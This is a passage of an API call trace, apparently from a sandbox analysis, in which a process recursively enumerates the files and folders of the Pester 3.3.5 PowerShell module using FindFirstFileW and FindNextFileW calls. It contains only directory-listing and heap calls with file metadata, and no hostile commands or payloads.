hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.892] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0193.892] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0193.892] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0193.892] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0193.892] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.892] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0193.892] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0193.893] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0193.893] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510bc884, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0193.893] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0193.893] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0193.893] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0193.893] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.893] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0193.893] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.893] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531cc0 [0193.893] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.893] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0193.894] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.895] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531d00 [0193.895] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.895] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0193.895] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0193.896] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0193.896] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0193.896] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.896] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0193.896] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531d00 [0193.896] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.896] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0193.897] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0193.897] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0193.897] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.897] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0193.897] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0193.897] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.897] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0193.897] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.897] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531980 [0193.897] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc853a4e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f56f8, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.897] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0193.897] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.897] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531dc0 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8a7f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3541bad, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511a169b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511a169b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511a169b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1 [0193.899] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c78fa, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511c78fa, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511c78fa, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1 [0193.900] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, 